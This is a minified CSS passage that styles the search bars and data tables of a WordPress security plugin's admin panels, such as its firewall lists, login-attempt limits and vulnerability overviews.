.rsssl-field-wrap .rsssl-search-bar,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar{float:right;padding:0}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__inner{display:flex;align-items:center;border-radius:3px;transition:background-color .3s ease}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__inner:focus-within{background-color:#fff;box-shadow:0 2px 4px rgba(0,0,0,0.1)}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__input{width:150px;transition:width .3s ease}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__input:focus{width:200px}.rsssl-404_blocking .rsssl-field-wrap .rsssl-container,.rsssl-user_agents .rsssl-field-wrap .rsssl-container,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-container,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-container,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-container,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-container,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-container,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-container,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-container,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-container,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-container,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-container,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-container,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-container{padding:2em;display:flex;align-items:center;justify-content:space-between}.rsssl-404_blocking .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-user_agents .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-multiselect-datatable-form{display:flex;align-items:center;Justify-content:space-between;width:100%;padding:1em 2em;background:var(--rsp-blue-faded)}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child{min-width:20px;float:right}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span{min-width:20px;float:right}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCol,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol_Sortable{flex-direction:row}.rsssl-404_blocking .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-user_agents .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-content_security_policy_source_directives .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_block_list_listing .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-two_fa_users .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_list_listing .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-vulnerabilities_overview .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-permissions_policy .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_white_list_listing .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_logs_content .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_country .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_users .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-mixed-content-scan .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-content_security_policy .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-hardening-xml .rsssl-field-wrap #cell-2-force_update>div>select{max-width:100%}.rsssl-404_blocking .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-user_agents .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-content_security_policy_source_directives .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_block_list_listing .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-two_fa_users .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_list_listing .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-vulnerabilities_overview .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-permissions_policy .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_white_list_listing .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_logs_content .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_country .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_users .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-mixed-content-scan .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-content_security_policy .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-hardening-xml .rsssl-field-wrap #cell-2-quarantine>div>select{max-width:100%}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:first-child{min-width:initial}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:0;flex-direction:row-reverse;min-width:initial}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow{padding:var(--rsp-spacing-xs) 0}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_event_log .rsssl-field-wrap 